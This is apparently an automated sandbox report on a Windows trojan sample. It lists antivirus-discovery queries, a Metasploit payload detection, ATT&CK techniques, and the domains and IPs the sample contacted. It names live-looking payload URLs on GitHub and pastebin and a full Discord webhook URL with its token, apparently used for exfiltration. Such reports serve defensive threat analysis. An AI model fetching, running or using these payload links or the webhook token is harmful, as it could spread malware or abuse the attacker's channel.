Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: powershell.exe, 00000011.00000002.3572043175.00000209ACAC8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3572043175.00000209ACA48000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Remote Access Functionality

Yara detected MetasploitPayload

Source: Yara match	File source: amsi64_2144.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4500.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5000.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7028.amsi.csv, type: OTHER

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	131 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	141 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Regsvr32	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	26%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://tinyurl.com/yeykydun	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
https://discord.com	0%	Avira URL Cloud	safe
http://crl.microsoft	0%	Avira URL Cloud	safe
http://www.microsoft.coG	0%	Avira URL Cloud	safe
https://pastebin.com/raw/6db99fAK	0%	Avira URL Cloud	safe
https://raw.githubusercont	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/128528293923992	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC	0%	Avira URL Cloud	safe
http://tinyurl.comX	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://discord.com	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
http://www.microsoft.coxm	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe
http://tinyurl.com	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com	0%	Avira URL Cloud	safe
http://tinyurl.com/yk3s8ubp	0%	Avira URL Cloud	safe
https://pastebin.com/raw/sA04Mwk2	0%	Avira URL Cloud	safe
https://pastebin.com	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com/raw/zNCj2Utm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tinyurl.com	104.17.112.233	true	false	unknown
discord.com	162.159.128.233	true	true	unknown
raw.githubusercontent.com	185.199.110.133	true	true	unknown
pastebin.com	104.20.4.235	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/6db99fAK	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykydun	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd	true	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/sA04Mwk2	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/zNCj2Utm	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.2084334972.00000215CBE37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2084334972.00000215CBCF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310397000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310254000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637E88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com	powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BC0CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4E0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330062A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462811C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.coG	powershell.exe, 0000000C.00000002.1949091235.0000024625EC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft	powershell.exe, 00000006.00000002.2101307847.00000215D3E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2311272236.0000027CFCBF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3571378890.0000027723CA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000006.00000002.1963802605.00000215BCEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330102A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/webhooks/128528293923992	powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://discord.com	powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.comX	powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC	powershell.exe, 0000000C.00000002.1950491257.0000024629419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.00000246293FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.coxm	powershell.exe, 00000008.00000002.2101220186.000002337E1A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4	powershell.exe, 00000006.00000002.1963802605.00000215BD3CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE610A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330192A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629419000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BC04E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4D8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233005AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462809F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E210000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE962000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yk3s8ubp	powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462809F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2084334972.00000215CBE37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2084334972.00000215CBCF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310397000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310254000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637E88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tinyurl.com	powershell.exe, 00000006.00000002.1963802605.00000215BCEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BD290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BBEA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4C39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5F52000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5FD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6069000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330153B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233017EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023300405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.00000246292E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725A56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E144000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1963802605.00000215BBC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE49C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233001E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627CD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185DEFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE631000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1963802605.00000215BBC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE49C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233001E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627CD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185DF0F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE631000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	powershell.exe, 00000006.00000002.1963802605.00000215BD2B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5FF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629303000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com	powershell.exe, 0000000C.00000002.1950491257.00000246292E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628069000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
104.17.112.233	tinyurl.com	United States	13335	CLOUDFLARENETUS	false
162.159.128.233	discord.com	United States	13335	CLOUDFLARENETUS	true
45.144.31.105	unknown	United Kingdom	42994	HQservCommunicationSolutionsIL	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1512072
Start date and time:	2024-09-16 19:31:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll renamed because original name is a hash value
Original Sample Name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDLL@77/74@4/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 12 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7384 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Simulations

Behavior and APIs

Time	Type	Description
13:34:05	API Interceptor	883123x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
104.17.112.233	https://ibafhfg.r.af.d.sendibt2.com/tr/cl/ei-iIasDUfhajlha_L_PYwmEV0TXG-pmymM0mqP6wJ8jqUBnRevpHf8umV1Cxk0P5A0G7qvQoF39O-oYwRH3RCdSdtx1Y0b_2sg_iXOax_tFc1XZBC3EPtztmZF7qOstNWb2r9nSAsjPU6qj2F8Gg64Ba0d6xBjSEwUcsnsTYaQjAxsh52QvEBY0E7yDJkW8hVMf4Z-UgTv6SrNDoDPMdYdSSvXdtLzPyBKNyGRyOKbA6kM2yCjc-39_2GjmQrGc8IG-6EqDH4Ly9S8KIsA	Get hash	malicious	Unknown	Browse
	http://tinyurl.com/fresn30d39d	Get hash	malicious	Unknown	Browse
	https://sway.cloud.microsoft/lKpl4nBPezd0EfSe	Get hash	malicious	Unknown	Browse
	https://tinyurl.com/3bfs8z6z	Get hash	malicious	HTMLPhisher	Browse
	https://tinyurl.com/EDODHTQN#em=heidi.wiebold@trapezegroup.com	Get hash	malicious	Phisher	Browse
	https://pub-26c8a52d626141479d051f2cefa2fdb6.r2.dev/office.html	Get hash	malicious	Unknown	Browse
